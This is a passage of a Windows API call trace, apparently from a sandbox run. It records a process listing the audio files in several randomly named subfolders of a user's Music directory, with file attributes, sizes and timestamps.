(dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.227] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf", lpFilePart=0x0) returned 0x2d [0222.227] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\68ujezkfna3hf1spf\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.228] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.228] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c290fd0, ftCreationTime.dwHighDateTime=0x1d9934b, ftLastAccessTime.dwLowDateTime=0x3c9a2840, ftLastAccessTime.dwHighDateTime=0x1d993c0, ftLastWriteTime.dwLowDateTime=0x3c9a2840, ftLastWriteTime.dwHighDateTime=0x1d993c0, nFileSizeHigh=0x0, nFileSizeLow=0x13cf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="awmCAdheMsvH3Naf.wav", cAlternateFileName="AWMCAD~1.WAV")) returned 1 [0222.228] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c98a6d0, ftCreationTime.dwHighDateTime=0x1d99890, ftLastAccessTime.dwLowDateTime=0xfd933e70, ftLastAccessTime.dwHighDateTime=0x1d999eb, ftLastWriteTime.dwLowDateTime=0xfd933e70, ftLastWriteTime.dwHighDateTime=0x1d999eb, nFileSizeHigh=0x0, nFileSizeLow=0x7c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="gUf.mp3", cAlternateFileName="")) returned 1 [0222.228] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e364a0, ftCreationTime.dwHighDateTime=0x1d9932c, ftLastAccessTime.dwLowDateTime=0xe455260, ftLastAccessTime.dwHighDateTime=0x1d99c6e, ftLastWriteTime.dwLowDateTime=0xe455260, ftLastWriteTime.dwHighDateTime=0x1d99c6e, nFileSizeHigh=0x0, nFileSizeLow=0x10b59, dwReserved0=0x0, dwReserved1=0x0, cFileName="y3OXLYEcEM8FOTJyQ.wav", cAlternateFileName="Y3OXLY~1.WAV")) returned 1 [0222.228] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82afc2b0, ftCreationTime.dwHighDateTime=0x1d998f0, ftLastAccessTime.dwLowDateTime=0xe9b7f780, ftLastAccessTime.dwHighDateTime=0x1d999ad, ftLastWriteTime.dwLowDateTime=0xe9b7f780, ftLastWriteTime.dwHighDateTime=0x1d999ad, nFileSizeHigh=0x0, nFileSizeLow=0x187d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUsoze5DBomqlWbxDTc.wav", cAlternateFileName="ZUSOZE~1.WAV")) returned 1 [0222.229] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.229] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.229] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf", lpFilePart=0x0) returned 0x2d [0222.229] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\68UJezkfNa3Hf1SPf\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\68ujezkfna3hf1spf\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.229] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61aa58d0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xc2bfe1f0, ftLastAccessTime.dwHighDateTime=0x1d99c42, ftLastWriteTime.dwLowDateTime=0xc2bfe1f0, ftLastWriteTime.dwHighDateTime=0x1d99c42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.230] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c290fd0, ftCreationTime.dwHighDateTime=0x1d9934b, ftLastAccessTime.dwLowDateTime=0x3c9a2840, ftLastAccessTime.dwHighDateTime=0x1d993c0, ftLastWriteTime.dwLowDateTime=0x3c9a2840, ftLastWriteTime.dwHighDateTime=0x1d993c0, nFileSizeHigh=0x0, nFileSizeLow=0x13cf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="awmCAdheMsvH3Naf.wav", cAlternateFileName="AWMCAD~1.WAV")) returned 1 [0222.230] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c98a6d0, ftCreationTime.dwHighDateTime=0x1d99890, ftLastAccessTime.dwLowDateTime=0xfd933e70, ftLastAccessTime.dwHighDateTime=0x1d999eb, ftLastWriteTime.dwLowDateTime=0xfd933e70, ftLastWriteTime.dwHighDateTime=0x1d999eb, nFileSizeHigh=0x0, nFileSizeLow=0x7c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="gUf.mp3", cAlternateFileName="")) returned 1 [0222.230] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e364a0, ftCreationTime.dwHighDateTime=0x1d9932c, ftLastAccessTime.dwLowDateTime=0xe455260, ftLastAccessTime.dwHighDateTime=0x1d99c6e, ftLastWriteTime.dwLowDateTime=0xe455260, ftLastWriteTime.dwHighDateTime=0x1d99c6e, nFileSizeHigh=0x0, nFileSizeLow=0x10b59, dwReserved0=0x0, dwReserved1=0x0, cFileName="y3OXLYEcEM8FOTJyQ.wav", cAlternateFileName="Y3OXLY~1.WAV")) returned 1 [0222.230] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82afc2b0, ftCreationTime.dwHighDateTime=0x1d998f0, ftLastAccessTime.dwLowDateTime=0xe9b7f780, ftLastAccessTime.dwHighDateTime=0x1d999ad, ftLastWriteTime.dwLowDateTime=0xe9b7f780, ftLastWriteTime.dwHighDateTime=0x1d999ad, nFileSizeHigh=0x0, nFileSizeLow=0x187d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUsoze5DBomqlWbxDTc.wav", cAlternateFileName="ZUSOZE~1.WAV")) returned 1 [0222.231] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82afc2b0, ftCreationTime.dwHighDateTime=0x1d998f0, ftLastAccessTime.dwLowDateTime=0xe9b7f780, ftLastAccessTime.dwHighDateTime=0x1d999ad, ftLastWriteTime.dwLowDateTime=0xe9b7f780, ftLastWriteTime.dwHighDateTime=0x1d999ad, nFileSizeHigh=0x0, nFileSizeLow=0x187d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUsoze5DBomqlWbxDTc.wav", cAlternateFileName="ZUSOZE~1.WAV")) returned 0 [0222.231] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0222.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.231] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O", lpFilePart=0x0) returned 0x29 [0222.231] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\h3p6g8ow9qo4o\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d68f60, ftCreationTime.dwHighDateTime=0x1d99294, ftLastAccessTime.dwLowDateTime=0x9b6defb0, ftLastAccessTime.dwHighDateTime=0x1d995db, ftLastWriteTime.dwLowDateTime=0x9b6defb0, ftLastWriteTime.dwHighDateTime=0x1d995db, nFileSizeHigh=0x0, nFileSizeLow=0x3c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7nEmjLmt.m4a", cAlternateFileName="")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f85ff0, ftCreationTime.dwHighDateTime=0x1d99748, ftLastAccessTime.dwLowDateTime=0x997cee80, ftLastAccessTime.dwHighDateTime=0x1d99b54, ftLastWriteTime.dwLowDateTime=0x997cee80, ftLastWriteTime.dwHighDateTime=0x1d99b54, nFileSizeHigh=0x0, nFileSizeLow=0xc8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eMvckir2GSGaf0ai58.m4a", cAlternateFileName="EMVCKI~1.M4A")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc798f9d0, ftCreationTime.dwHighDateTime=0x1d99456, ftLastAccessTime.dwLowDateTime=0x73201e20, ftLastAccessTime.dwHighDateTime=0x1d997c0, ftLastWriteTime.dwLowDateTime=0x73201e20, ftLastWriteTime.dwHighDateTime=0x1d997c0, nFileSizeHigh=0x0, nFileSizeLow=0x9e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="He2NLQWAtzGzFSMoPd.mp3", cAlternateFileName="HE2NLQ~1.MP3")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f2a3bc0, ftCreationTime.dwHighDateTime=0x1d99515, ftLastAccessTime.dwLowDateTime=0xd6181240, ftLastAccessTime.dwHighDateTime=0x1d99977, ftLastWriteTime.dwLowDateTime=0xd6181240, ftLastWriteTime.dwHighDateTime=0x1d99977, nFileSizeHigh=0x0, nFileSizeLow=0xc8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="jF b9NNT1lqt0MDkcKk.mp3", cAlternateFileName="JFB9NN~1.MP3")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f00ff0, ftCreationTime.dwHighDateTime=0x1d99985, ftLastAccessTime.dwLowDateTime=0xa0c0c1b0, ftLastAccessTime.dwHighDateTime=0x1d999f3, ftLastWriteTime.dwLowDateTime=0xa0c0c1b0, ftLastWriteTime.dwHighDateTime=0x1d999f3, nFileSizeHigh=0x0, nFileSizeLow=0xc343, dwReserved0=0x0, dwReserved1=0x0, cFileName="oLxtlt2ZoBr.m4a", cAlternateFileName="OLXTLT~1.M4A")) returned 1 [0222.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70a6570, ftCreationTime.dwHighDateTime=0x1d99c59, ftLastAccessTime.dwLowDateTime=0xb3f241a0, ftLastAccessTime.dwHighDateTime=0x1d99c82, ftLastWriteTime.dwLowDateTime=0xb3f241a0, ftLastWriteTime.dwHighDateTime=0x1d99c82, nFileSizeHigh=0x0, nFileSizeLow=0x455e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Hl1g.mp3", cAlternateFileName="")) returned 1 [0222.233] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.233] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0222.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.233] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O", lpFilePart=0x0) returned 0x29 [0222.233] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\h3P6g8ow9qo4O\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\h3p6g8ow9qo4o\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0222.233] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadcd73b0, ftCreationTime.dwHighDateTime=0x1d99cca, ftLastAccessTime.dwLowDateTime=0x77513750, ftLastAccessTime.dwHighDateTime=0x1d99ce7, ftLastWriteTime.dwLowDateTime=0x77513750, ftLastWriteTime.dwHighDateTime=0x1d99ce7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.234] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d68f60, ftCreationTime.dwHighDateTime=0x1d99294, ftLastAccessTime.dwLowDateTime=0x9b6defb0, ftLastAccessTime.dwHighDateTime=0x1d995db, ftLastWriteTime.dwLowDateTime=0x9b6defb0, ftLastWriteTime.dwHighDateTime=0x1d995db, nFileSizeHigh=0x0, nFileSizeLow=0x3c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7nEmjLmt.m4a", cAlternateFileName="")) returned 1 [0222.234] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f85ff0, ftCreationTime.dwHighDateTime=0x1d99748, ftLastAccessTime.dwLowDateTime=0x997cee80, ftLastAccessTime.dwHighDateTime=0x1d99b54, ftLastWriteTime.dwLowDateTime=0x997cee80, ftLastWriteTime.dwHighDateTime=0x1d99b54, nFileSizeHigh=0x0, nFileSizeLow=0xc8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eMvckir2GSGaf0ai58.m4a", cAlternateFileName="EMVCKI~1.M4A")) returned 1 [0222.234] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc798f9d0, ftCreationTime.dwHighDateTime=0x1d99456, ftLastAccessTime.dwLowDateTime=0x73201e20, ftLastAccessTime.dwHighDateTime=0x1d997c0, ftLastWriteTime.dwLowDateTime=0x73201e20, ftLastWriteTime.dwHighDateTime=0x1d997c0, nFileSizeHigh=0x0, nFileSizeLow=0x9e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="He2NLQWAtzGzFSMoPd.mp3", cAlternateFileName="HE2NLQ~1.MP3")) returned 1 [0222.234] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f2a3bc0, ftCreationTime.dwHighDateTime=0x1d99515, ftLastAccessTime.dwLowDateTime=0xd6181240, ftLastAccessTime.dwHighDateTime=0x1d99977, ftLastWriteTime.dwLowDateTime=0xd6181240, ftLastWriteTime.dwHighDateTime=0x1d99977, nFileSizeHigh=0x0, nFileSizeLow=0xc8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="jF b9NNT1lqt0MDkcKk.mp3", cAlternateFileName="JFB9NN~1.MP3")) returned 1 [0222.235] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f00ff0, ftCreationTime.dwHighDateTime=0x1d99985, ftLastAccessTime.dwLowDateTime=0xa0c0c1b0, ftLastAccessTime.dwHighDateTime=0x1d999f3, ftLastWriteTime.dwLowDateTime=0xa0c0c1b0, ftLastWriteTime.dwHighDateTime=0x1d999f3, nFileSizeHigh=0x0, nFileSizeLow=0xc343, dwReserved0=0x0, dwReserved1=0x0, cFileName="oLxtlt2ZoBr.m4a", cAlternateFileName="OLXTLT~1.M4A")) returned 1 [0222.235] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70a6570, ftCreationTime.dwHighDateTime=0x1d99c59, ftLastAccessTime.dwLowDateTime=0xb3f241a0, ftLastAccessTime.dwHighDateTime=0x1d99c82, ftLastWriteTime.dwLowDateTime=0xb3f241a0, ftLastWriteTime.dwHighDateTime=0x1d99c82, nFileSizeHigh=0x0, nFileSizeLow=0x455e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Hl1g.mp3", cAlternateFileName="")) returned 1 [0222.235] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70a6570, ftCreationTime.dwHighDateTime=0x1d99c59, ftLastAccessTime.dwLowDateTime=0xb3f241a0, ftLastAccessTime.dwHighDateTime=0x1d99c82, ftLastWriteTime.dwLowDateTime=0xb3f241a0, ftLastWriteTime.dwHighDateTime=0x1d99c82, nFileSizeHigh=0x0, nFileSizeLow=0x455e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Hl1g.mp3", cAlternateFileName="")) returned 0 [0222.235] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0222.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.235] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu", lpFilePart=0x0) returned 0x30 [0222.235] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0222.236] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.236] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0683aa0, ftCreationTime.dwHighDateTime=0x1d99890, ftLastAccessTime.dwLowDateTime=0x7a5d86d0, ftLastAccessTime.dwHighDateTime=0x1d999cf, ftLastWriteTime.dwLowDateTime=0x7a5d86d0, ftLastWriteTime.dwHighDateTime=0x1d999cf, nFileSizeHigh=0x0, nFileSizeLow=0x8a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aTgKnI_pniJG8npbG56.m4a", cAlternateFileName="ATGKNI~1.M4A")) returned 1 [0222.236] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4403d70, ftCreationTime.dwHighDateTime=0x1d99696, ftLastAccessTime.dwLowDateTime=0xe29402e0, ftLastAccessTime.dwHighDateTime=0x1d997a1, ftLastWriteTime.dwLowDateTime=0xe29402e0, ftLastWriteTime.dwHighDateTime=0x1d997a1, nFileSizeHigh=0x0, nFileSizeLow=0x5436, dwReserved0=0x0, dwReserved1=0x0, cFileName="btxow_id.wav", cAlternateFileName="")) returned 1 [0222.236] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eeb2c00, ftCreationTime.dwHighDateTime=0x1d99259, ftLastAccessTime.dwLowDateTime=0xa18dabb0, ftLastAccessTime.dwHighDateTime=0x1d9946e, ftLastWriteTime.dwLowDateTime=0xa18dabb0, ftLastWriteTime.dwHighDateTime=0x1d9946e, nFileSizeHigh=0x0, nFileSizeLow=0xa48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eI1WlHyca7ANpOi8.wav", cAlternateFileName="EI1WLH~1.WAV")) returned 1 [0222.236] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="f4xmbf99KrbcfOyr", cAlternateFileName="F4XMBF~1")) returned 1 [0222.237] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c85caa0, ftCreationTime.dwHighDateTime=0x1d99b67, ftLastAccessTime.dwLowDateTime=0x898ee210, ftLastAccessTime.dwHighDateTime=0x1d99bec, ftLastWriteTime.dwLowDateTime=0x898ee210, ftLastWriteTime.dwHighDateTime=0x1d99bec, nFileSizeHigh=0x0, nFileSizeLow=0x2c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LfMeL4QEZM34.m4a", cAlternateFileName="LFMEL4~1.M4A")) 